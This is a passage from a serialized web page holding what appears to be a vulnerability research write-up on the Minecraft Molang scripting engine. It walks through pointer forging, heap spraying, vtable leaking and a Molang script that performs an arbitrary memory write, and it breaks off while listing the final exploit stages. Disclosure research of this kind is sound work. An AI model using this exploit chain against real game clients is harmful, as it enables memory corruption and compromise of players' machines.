",{"type":23,"tag":71,"props":164599,"children":164601},{"className":164600},[],[164602],{"type":29,"value":164187},{"type":29,"value":557},{"type":23,"tag":32,"props":164605,"children":164606},{},[164607,164609,164614],{"type":29,"value":164608},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":23,"tag":71,"props":164610,"children":164612},{"className":164611},[],[164613],{"type":29,"value":163689},{"type":29,"value":1018},{"type":23,"tag":64,"props":164616,"children":164617},{"code":164371},[164618],{"type":23,"tag":71,"props":164619,"children":164620},{"__ignoreMap":7},[164621],{"type":29,"value":164371},{"type":23,"tag":32,"props":164623,"children":164624},{},[164625],{"type":29,"value":164626},"Which results in:",{"type":23,"tag":64,"props":164628,"children":164630},{"code":164629},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[164631],{"type":23,"tag":71,"props":164632,"children":164633},{"__ignoreMap":7},[164634],{"type":29,"value":164629},{"type":23,"tag":32,"props":164636,"children":164637},{},[164638],{"type":29,"value":164639},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":23,"tag":64,"props":164641,"children":164643},{"code":164642},"variable.b = variable.saved_upper_48;\n",[164644],{"type":23,"tag":71,"props":164645,"children":164646},{"__ignoreMap":7},[164647],{"type":29,"value":164642},{"type":23,"tag":32,"props":164649,"children":164650},{},[164651],{"type":29,"value":164652},"Yielding a valid pointer again:",{"type":23,"tag":64,"props":164654,"children":164656},{"code":164655},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[164657],{"type":23,"tag":71,"props":164658,"children":164659},{"__ignoreMap":7},[164660],{"type":29,"value":164655},{"type":23,"tag":32,"props":164662,"children":164663},{},[164664],{"type":29,"value":164665},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":23,"tag":64,"props":164667,"children":164669},{"code":164668},"variable.saved_adjusted_lower_16 = variable.a;\n",[164670],{"type":23,"tag":71,"props":164671,"children":164672},{"__ignoreMap":7},[164673],{"type":29,"value":164668},{"type":23,"tag":32,"props":164675,"children":164676},{},[164677],{"type":29,"value":164678},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":23,"tag":64,"props":164680,"children":164682},{"code":164681},"variable.a = variable.saved_upper_48;\n",[164683],{"type":23,"tag":71,"props":164684,"children":164685},{"__ignoreMap":7},[164686],{"type":29,"value":164681},{"type":23,"tag":32,"props":164688,"children":164689},{},[164690],{"type":29,"value":164691},"This produces the following state:",{"type":23,"tag":64,"props":164693,"children":164695},{"code":164694},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[164696],{"type":23,"tag":71,"props":164697,"children":164698},{"__ignoreMap":7},[164699],{"type":29,"value":164694},{"type":23,"tag":32,"props":164701,"children":164702},{},[164703,164705,164710,164712,164718,164720,164726,164728,164733,164735,164740],{"type":29,"value":164704},"As shown, ",{"type":23,"tag":71,"props":164706,"children":164708},{"className":164707},[],[164709],{"type":29,"value":163703},{"type":29,"value":164711}," now contains the upper 16 bits of the address (",{"type":23,"tag":71,"props":164713,"children":164715},{"className":164714},[],[164716],{"type":29,"value":164717},"0x1c80",{"type":29,"value":164719},"), which we can store as ",{"type":23,"tag":71,"props":164721,"children":164723},{"className":164722},[],[164724],{"type":29,"value":164725},"variable.saved_upper_16 = variable.b",{"type":29,"value":164727},". Meanwhile, ",{"type":23,"tag":71,"props":164729,"children":164731},{"className":164730},[],[164732],{"type":29,"value":163689},{"type":29,"value":164734}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":23,"tag":71,"props":164736,"children":164738},{"className":164737},[],[164739],{"type":29,"value":163703},{"type":29,"value":1018},{"type":23,"tag":64,"props":164742,"children":164743},{"code":164559},[164744],{"type":23,"tag":71,"props":164745,"children":164746},{"__ignoreMap":7},[164747],{"type":29,"value":164559},{"type":23,"tag":32,"props":164749,"children":164750},{},[164751],{"type":29,"value":164752},"Leaving us with:",{"type":23,"tag":64,"props":164754,"children":164756},{"code":164755},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[164757],{"type":23,"tag":71,"props":164758,"children":164759},{"__ignoreMap":7},[164760],{"type":29,"value":164755},{"type":23,"tag":32,"props":164762,"children":164763},{},[164764],{"type":29,"value":164765},"We can now save the middle 16 bits:",{"type":23,"tag":64,"props":164767,"children":164769},{"code":164768},"variable.saved_middle_16 = variable.a;\n",[164770],{"type":23,"tag":71,"props":164771,"children":164772},{"__ignoreMap":7},[164773],{"type":29,"value":164768},{"type":23,"tag":32,"props":164775,"children":164776},{},[164777],{"type":29,"value":164778},"At this point, we have:",{"type":23,"tag":64,"props":164780,"children":164782},{"code":164781},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[164783],{"type":23,"tag":71,"props":164784,"children":164785},{"__ignoreMap":7},[164786],{"type":29,"value":164781},{"type":23,"tag":32,"props":164788,"children":164789},{},[164790],{"type":29,"value":164791},"All three parts are valid float values, ensuring deterministic calculations.",{"type":23,"tag":32,"props":164793,"children":164794},{},[164795],{"type":29,"value":164796},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":23,"tag":64,"props":164798,"children":164800},{"code":164799},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[164801],{"type":23,"tag":71,"props":164802,"children":164803},{"__ignoreMap":7},[164804],{"type":29,"value":164799},{"type":23,"tag":32,"props":164806,"children":164807},{},[164808],{"type":29,"value":164809},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":23,"tag":64,"props":164811,"children":164813},{"code":164812},"variable.a = variable.saved_adjusted_middle_16;\n",[164814],{"type":23,"tag":71,"props":164815,"children":164816},{"__ignoreMap":7},[164817],{"type":29,"value":164812},{"type":23,"tag":32,"props":164819,"children":164820},{},[164821,164823,164828,164829,164835,164836,164842],{"type":29,"value":164822},"Setting ",{"type":23,"tag":71,"props":164824,"children":164826},{"className":164825},[],[164827],{"type":29,"value":163689},{"type":29,"value":67960},{"type":23,"tag":71,"props":164830,"children":164832},{"className":164831},[],[164833],{"type":29,"value":164834},"0xddcd",{"type":29,"value":183},{"type":23,"tag":71,"props":164837,"children":164839},{"className":164838},[],[164840],{"type":29,"value":164841},"0xddcc + 1",{"type":29,"value":164843},"), and then:",{"type":23,"tag":64,"props":164845,"children":164847},{"code":164846},"variable.b = variable.saved_adjusted_upper_16;\n",[164848],{"type":23,"tag":71,"props":164849,"children":164850},{"__ignoreMap":7},[164851],{"type":29,"value":164846},{"type":23,"tag":32,"props":164853,"children":164854},{},[164855,164857,164862,164864,164870,164871,164877],{"type":29,"value":164856},"Resulting in ",{"type":23,"tag":71,"props":164858,"children":164860},{"className":164859},[],[164861],{"type":29,"value":163703},{"type":29,"value":164863}," value becoming ",{"type":23,"tag":71,"props":164865,"children":164867},{"className":164866},[],[164868],{"type":29,"value":164869},"0x1c81",{"type":29,"value":183},{"type":23,"tag":71,"props":164872,"children":164874},{"className":164873},[],[164875],{"type":29,"value":164876},"0x1c80 + 1",{"type":29,"value":35151},{"type":23,"tag":64,"props":164879,"children":164881},{"code":164880},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[164882],{"type":23,"tag":71,"props":164883,"children":164884},{"__ignoreMap":7},[164885],{"type":29,"value":164880},{"type":23,"tag":32,"props":164887,"children":164888},{},[164889],{"type":29,"value":164890},"Now we save the adjusted upper 48 bits:",{"type":23,"tag":64,"props":164892,"children":164894},{"code":164893},"variable.saved_adjusted_upper_48 = variable.a;\n",[164895],{"type":23,"tag":71,"props":164896,"children":164897},{"__ignoreMap":7},[164898],{"type":29,"value":164893},{"type":23,"tag":32,"props":164900,"children":164901},{},[164902],{"type":29,"value":164903},"Finally, we attach the lower 16 bits:",{"type":23,"tag":64,"props":164905,"children":164907},{"code":164906},"variable.a = variable.saved_adjusted_lower_16;\n",[164908],{"type":23,"tag":71,"props":164909,"children":164910},{"__ignoreMap":7},[164911],{"type":29,"value":164906},{"type":23,"tag":64,"props":164913,"children":164915},{"code":164914},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[164916],{"type":23,"tag":71,"props":164917,"children":164918},{"__ignoreMap":7},[164919],{"type":29,"value":164914},{"type":23,"tag":32,"props":164921,"children":164922},{},[164923],{"type":29,"value":164924},"And by setting:",{"type":23,"tag":64,"props":164926,"children":164928},{"code":164927},"variable.b = variable.saved_adjusted_upper_48;\n",[164929],{"type":23,"tag":71,"props":164930,"children":164931},{"__ignoreMap":7},[164932],{"type":29,"value":164927},{"type":23,"tag":32,"props":164934,"children":164935},{},[164936],{"type":29,"value":164937},"We forge the final adjusted pointer:",{"type":23,"tag":64,"props":164939,"children":164941},{"code":164940},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[164942],{"type":23,"tag":71,"props":164943,"children":164944},{"__ignoreMap":7},[164945],{"type":29,"value":164940},{"type":23,"tag":30016,"props":164947,"children":164948},{},[],{"type":23,"tag":32,"props":164950,"children":164951},{},[164952,164954,164959],{"type":29,"value":164953},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":23,"tag":71,"props":164955,"children":164957},{"className":164956},[],[164958],{"type":29,"value":164485},{"type":29,"value":164441},{"type":23,"tag":32,"props":164961,"children":164962},{},[164963,164965,164970,164972,164977,164979,164985,164987,164992],{"type":29,"value":164964},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":23,"tag":71,"props":164966,"children":164968},{"className":164967},[],[164969],{"type":29,"value":164485},{"type":29,"value":164971},". Instead, we need any two pointers on the heap - one pointing to ",{"type":23,"tag":71,"props":164973,"children":164975},{"className":164974},[],[164976],{"type":29,"value":41882},{"type":29,"value":164978}," and the other to ",{"type":23,"tag":71,"props":164980,"children":164982},{"className":164981},[],[164983],{"type":29,"value":164984},"addr + 2",{"type":29,"value":164986}," (as long as ",{"type":23,"tag":71,"props":164988,"children":164990},{"className":164989},[],[164991],{"type":29,"value":41882},{"type":29,"value":164993}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":23,"tag":32,"props":164995,"children":164996},{},[164997,164999,165004,165005,165010],{"type":29,"value":164998},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":23,"tag":71,"props":165000,"children":165002},{"className":165001},[],[165003],{"type":29,"value":160459},{"type":29,"value":164244},{"type":23,"tag":71,"props":165006,"children":165008},{"className":165007},[],[165009],{"type":29,"value":163263},{"type":29,"value":165011}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":23,"tag":64,"props":165013,"children":165015},{"code":165014},"variable.corrupted_var_map_ptr = variable.a;\n",[165016],{"type":23,"tag":71,"props":165017,"children":165018},{"__ignoreMap":7},[165019],{"type":29,"value":165014},{"type":23,"tag":32,"props":165021,"children":165022},{},[165023,165025,165030,165032,165038],{"type":29,"value":165024},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":23,"tag":71,"props":165026,"children":165028},{"className":165027},[],[165029],{"type":29,"value":1672},{"type":29,"value":165031}," field (in this case, the reconstructed pointer) and writes it to ",{"type":23,"tag":71,"props":165033,"children":165035},{"className":165034},[],[165036],{"type":29,"value":165037},"variable.corrupted_var_map_ptr",{"type":29,"value":165039},", even though the type itself is only a 32-bit float.",{"type":23,"tag":30116,"props":165041,"children":165043},{"id":165042},"finding-misaligned-pointers",[165044],{"type":29,"value":165045},"Finding Misaligned Pointers",{"type":23,"tag":32,"props":165047,"children":165048},{},[165049,165051,165056,165057,165063],{"type":29,"value":165050},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":23,"tag":71,"props":165052,"children":165054},{"className":165053},[],[165055],{"type":29,"value":25190},{"type":29,"value":2721},{"type":23,"tag":71,"props":165058,"children":165060},{"className":165059},[],[165061],{"type":29,"value":165062},"ptr + 2",{"type":29,"value":165064},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":23,"tag":32,"props":165066,"children":165067},{},[165068,165073,165074,165079,165081,165086,165088,165093,165095,165100,165102,165107,165109,165115,165116,165121],{"type":23,"tag":71,"props":165069,"children":165071},{"className":165070},[],[165072],{"type":29,"value":163439},{"type":29,"value":26671},{"type":23,"tag":71,"props":165075,"children":165077},{"className":165076},[],[165078],{"type":29,"value":163462},{"type":29,"value":165080}," found inside every entity object. As noted earlier, a ",{"type":23,"tag":71,"props":165082,"children":165084},{"className":165083},[],[165085],{"type":29,"value":163293},{"type":29,"value":165087}," contains three pointers: ",{"type":23,"tag":71,"props":165089,"children":165091},{"className":165090},[],[165092],{"type":29,"value":160459},{"type":29,"value":165094}," (the start of the allocated buffer), ",{"type":23,"tag":71,"props":165096,"children":165098},{"className":165097},[],[165099],{"type":29,"value":679},{"type":29,"value":165101}," (just past the last element) and ",{"type":23,"tag":71,"props":165103,"children":165105},{"className":165104},[],[165106],{"type":29,"value":163392},{"type":29,"value":165108}," (the end of the allocated buffer). Because the element type is ",{"type":23,"tag":71,"props":165110,"children":165112},{"className":165111},[],[165113],{"type":29,"value":165114},"uint16_t",{"type":29,"value":112632},{"type":23,"tag":71,"props":165117,"children":165119},{"className":165118},[],[165120],{"type":29,"value":679},{"type":29,"value":165122}," pointer advances by 2 bytes each time a new element is added.",{"type":23,"tag":32,"props":165124,"children":165125},{},[165126,165128,165133,165135,165141],{"type":29,"value":165127},"We can make the ",{"type":23,"tag":71,"props":165129,"children":165131},{"className":165130},[],[165132],{"type":29,"value":679},{"type":29,"value":165134}," pointer equal to ",{"type":23,"tag":71,"props":165136,"children":165138},{"className":165137},[],[165139],{"type":29,"value":165140},"cap - 2",{"type":29,"value":165142}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":23,"tag":64,"props":165144,"children":165146},{"code":165145},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[165147],{"type":23,"tag":71,"props":165148,"children":165149},{"__ignoreMap":7},[165150],{"type":29,"value":165145},{"type":23,"tag":30016,"props":165152,"children":165153},{},[],{"type":23,"tag":32,"props":165155,"children":165156},{},[165157,165159,165164,165166,165171,165173,165178,165180,165185,165186,165191],{"type":29,"value":165158},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":23,"tag":71,"props":165160,"children":165162},{"className":165161},[],[165163],{"type":29,"value":160459},{"type":29,"value":165165}," pointer of ",{"type":23,"tag":71,"props":165167,"children":165169},{"className":165168},[],[165170],{"type":29,"value":163263},{"type":29,"value":165172}," in the entity object above, one that would index ",{"type":23,"tag":71,"props":165174,"children":165176},{"className":165175},[],[165177],{"type":29,"value":679},{"type":29,"value":165179}," and the final ",{"type":23,"tag":71,"props":165181,"children":165183},{"className":165182},[],[165184],{"type":29,"value":163392},{"type":29,"value":165165},{"type":23,"tag":71,"props":165187,"children":165189},{"className":165188},[],[165190],{"type":29,"value":163439},{"type":29,"value":165192}," also in the same entity object above.",{"type":23,"tag":32,"props":165194,"children":165195},{},[165196,165198,165204,165205,165211,165213,165218,165219,165224,165226,165231,165233,165238,165239,165244,165246,165251],{"type":29,"value":165197},"The corrupted variables ",{"type":23,"tag":71,"props":165199,"children":165201},{"className":165200},[],[165202],{"type":29,"value":165203},"variable.corrupted_len_ptr",{"type":29,"value":2721},{"type":23,"tag":71,"props":165206,"children":165208},{"className":165207},[],[165209],{"type":29,"value":165210},"variable.corrupted_cap_ptr",{"type":29,"value":165212}," point to ",{"type":23,"tag":71,"props":165214,"children":165216},{"className":165215},[],[165217],{"type":29,"value":679},{"type":29,"value":2721},{"type":23,"tag":71,"props":165220,"children":165222},{"className":165221},[],[165223],{"type":29,"value":163392},{"type":29,"value":165225},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":23,"tag":71,"props":165227,"children":165229},{"className":165228},[],[165230],{"type":29,"value":165037},{"type":29,"value":165232},", points to the ",{"type":23,"tag":71,"props":165234,"children":165236},{"className":165235},[],[165237],{"type":29,"value":160459},{"type":29,"value":164244},{"type":23,"tag":71,"props":165240,"children":165242},{"className":165241},[],[165243],{"type":29,"value":163263},{"type":29,"value":165245},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":23,"tag":71,"props":165247,"children":165249},{"className":165248},[],[165250],{"type":29,"value":163263},{"type":29,"value":165252},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":23,"tag":32,"props":165254,"children":165255},{},[165256],{"type":29,"value":165257},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":23,"tag":30116,"props":165259,"children":165261},{"id":165260},"leaking-pointers",[165262],{"type":29,"value":165263},"Leaking Pointers",{"type":23,"tag":32,"props":165265,"children":165266},{},[165267,165269,165275],{"type":29,"value":165268},"In C++, an object’s first field is typically a ",{"type":23,"tag":71,"props":165270,"children":165272},{"className":165271},[],[165273],{"type":29,"value":165274},"vtable",{"type":29,"value":165276}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":23,"tag":64,"props":165278,"children":165280},{"code":165279},"                                 Entity Object       \n                                                     \n                          +------------+------------+\n                          | vtable ptr |            |\n                          +------------+            |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                          |                         |\n                      +-> +------------+------------+\n                      |   |    buf     |    len     |\n      MolangIndexMap -+   +------------+------------+\n                      |   |    cap     |            |\n                   +--+-> +------------+------------+\n                   |      |    buf     |    len     |\nMolangVariableMap -+      +------------+------------+\n                   |      |    cap     |            |\n                   +----> +------------+            |\n                          |                         |\n                          +-------------------------+\n",[165281],{"type":23,"tag":71,"props":165282,"children":165283},{"__ignoreMap":7},[165284],{"type":29,"value":165279},{"type":23,"tag":32,"props":165286,"children":165287},{},[165288,165289,165294,165296,165301,165303,165308,165310,165315,165317,165322,165323,165328,165330,165335],{"type":29,"value":2846},{"type":23,"tag":71,"props":165290,"children":165292},{"className":165291},[],[165293],{"type":29,"value":1672},{"type":29,"value":165295}," field inside a ",{"type":23,"tag":71,"props":165297,"children":165299},{"className":165298},[],[165300],{"type":29,"value":162936},{"type":29,"value":165302}," is at offset ",{"type":23,"tag":71,"props":165304,"children":165306},{"className":165305},[],[165307],{"type":29,"value":163197},{"type":29,"value":165309},". We already control a corrupted variable, ",{"type":23,"tag":71,"props":165311,"children":165313},{"className":165312},[],[165314],{"type":29,"value":165203},{"type":29,"value":165316},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":23,"tag":71,"props":165318,"children":165320},{"className":165319},[],[165321],{"type":29,"value":679},{"type":29,"value":164244},{"type":23,"tag":71,"props":165324,"children":165326},{"className":165325},[],[165327],{"type":29,"value":163439},{"type":29,"value":165329}," by 2 bytes, which in turn advances ",{"type":23,"tag":71,"props":165331,"children":165333},{"className":165332},[],[165334],{"type":29,"value":165203},{"type":29,"value":165336}," by 2 bytes.",{"type":23,"tag":32,"props":165338,"children":165339},{},[165340,165342,165347,165349,165355,165356,165361,165362,165367,165369,165374],{"type":29,"value":165341},"By moving ",{"type":23,"tag":71,"props":165343,"children":165345},{"className":165344},[],[165346],{"type":29,"value":679},{"type":29,"value":165348}," so it equals ",{"type":23,"tag":71,"props":165350,"children":165352},{"className":165351},[],[165353],{"type":29,"value":165354},"cap - 0x38",{"type":29,"value":112632},{"type":23,"tag":71,"props":165357,"children":165359},{"className":165358},[],[165360],{"type":29,"value":1672},{"type":29,"value":164244},{"type":23,"tag":71,"props":165363,"children":165365},{"className":165364},[],[165366],{"type":29,"value":165203},{"type":29,"value":165368}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":23,"tag":71,"props":165370,"children":165372},{"className":165371},[],[165373],{"type":29,"value":165274},{"type":29,"value":165375}," pointer. We can then capture that pointer with:",{"type":23,"tag":64,"props":165377,"children":165379},{"code":165378},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[165380],{"type":23,"tag":71,"props":165381,"children":165382},{"__ignoreMap":7},[165383],{"type":29,"value":165378},{"type":23,"tag":32,"props":165385,"children":165386},{},[165387,165389,165394,165396,165401,165403,165408,165410,165416],{"type":29,"value":165388},"After saving the leak, we add 27 unseen variables to advance ",{"type":23,"tag":71,"props":165390,"children":165392},{"className":165391},[],[165393],{"type":29,"value":679},{"type":29,"value":165395}," until it equals ",{"type":23,"tag":71,"props":165397,"children":165399},{"className":165398},[],[165400],{"type":29,"value":165140},{"type":29,"value":165402},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":23,"tag":71,"props":165404,"children":165406},{"className":165405},[],[165407],{"type":29,"value":165274},{"type":29,"value":165409}," address in ",{"type":23,"tag":71,"props":165411,"children":165413},{"className":165412},[],[165414],{"type":29,"value":165415},"variable.saved_vtable_pointer",{"type":29,"value":557},{"type":23,"tag":30016,"props":165418,"children":165419},{},[],{"type":23,"tag":32,"props":165421,"children":165422},{},[165423,165425,165430,165432,165438],{"type":29,"value":165424},"A Molang script that performs an arbitrary write of the value ",{"type":23,"tag":71,"props":165426,"children":165428},{"className":165427},[],[165429],{"type":29,"value":54691},{"type":29,"value":165431}," to the address ",{"type":23,"tag":71,"props":165433,"children":165435},{"className":165434},[],[165436],{"type":29,"value":165437},"vtable + 0x1000",{"type":29,"value":165439}," looks like this:",{"type":23,"tag":64,"props":165441,"children":165443},{"code":165442},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n    variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[165444],{"type":23,"tag":71,"props":165445,"children":165446},{"__ignoreMap":7},[165447],{"type":29,"value":165442},{"type":23,"tag":30116,"props":165449,"children":165451},{"id":165450},"required-heap-layout",[165452],{"type":29,"value":165453},"Required Heap Layout",{"type":23,"tag":32,"props":165455,"children":165456},{},[165457],{"type":29,"value":165458},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":23,"tag":64,"props":165460,"children":165462},{"code":165461},"    Heap Region 1                Heap Region 2    \n                                                  \n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n| MolangVariableMap |        |  MolangIndexMap   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n|                   |        |                   |\n|   Entity Object   |        |   Entity Object   |\n|                   |        |                   |\n+-------------------+        +-------------------+\n",[165463],{"type":23,"tag":71,"props":165464,"children":165465},{"__ignoreMap":7},[165466],{"type":29,"value":165461},{"type":23,"tag":32,"props":165468,"children":165469},{},[165470,165472,165478,165480,165485,165487,165492,165494,165499,165500,165505],{"type":29,"value":165471},"The first region (",{"type":23,"tag":71,"props":165473,"children":165475},{"className":165474},[],[165476],{"type":29,"value":165477},"Heap Region 1",{"type":29,"value":165479},") contains alternating ",{"type":23,"tag":71,"props":165481,"children":165483},{"className":165482},[],[165484],{"type":29,"value":163263},{"type":29,"value":165486},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":23,"tag":71,"props":165488,"children":165490},{"className":165489},[],[165491],{"type":29,"value":163293},{"type":29,"value":165493}," pointers of ",{"type":23,"tag":71,"props":165495,"children":165497},{"className":165496},[],[165498],{"type":29,"value":163263},{"type":29,"value":2721},{"type":23,"tag":71,"props":165501,"children":165503},{"className":165502},[],[165504],{"type":29,"value":163439},{"type":29,"value":165506}," from the entity object for our main attack.",{"type":23,"tag":32,"props":165508,"children":165509},{},[165510,165512,165518,165520,165525,165527,165532,165534,165539,165541,165546],{"type":29,"value":165511},"The second region (",{"type":23,"tag":71,"props":165513,"children":165515},{"className":165514},[],[165516],{"type":29,"value":165517},"Heap Region 2",{"type":29,"value":165519},") contains interleaved ",{"type":23,"tag":71,"props":165521,"children":165523},{"className":165522},[],[165524],{"type":29,"value":163439},{"type":29,"value":165526},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":23,"tag":71,"props":165528,"children":165530},{"className":165529},[],[165531],{"type":29,"value":165274},{"type":29,"value":165533}," pointer into ",{"type":23,"tag":71,"props":165535,"children":165537},{"className":165536},[],[165538],{"type":29,"value":165203},{"type":29,"value":165540}," during our main attack. It could be any object with a ",{"type":23,"tag":71,"props":165542,"children":165544},{"className":165543},[],[165545],{"type":29,"value":165274},{"type":29,"value":165547},", but for simplicity we use the entity object.",{"type":23,"tag":32,"props":165549,"children":165550},{},[165551,165553,165559,165561,165566],{"type":29,"value":165552},"During the attack, overwriting another variable's pointer with\n",{"type":23,"tag":71,"props":165554,"children":165556},{"className":165555},[],[165557],{"type":29,"value":165558},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":29,"value":165560}," will very likely clobber the ",{"type":23,"tag":71,"props":165562,"children":165564},{"className":165563},[],[165565],{"type":29,"value":163759},{"type":29,"value":165567}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":23,"tag":32,"props":165569,"children":165570},{},[165571],{"type":29,"value":165572},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":23,"tag":32,"props":165574,"children":165575},{},[165576],{"type":29,"value":165577},"The final exploit proceeds in three stages:",{"type":23,"tag":2797,"props":165579,"children":165580},{},[165581,165586,165591],{"type":23,"tag":2801,"props":165582,"children":165583},{},[165584],{"type":29,"value":165585},"Position the player so the sprayed entities are out of view 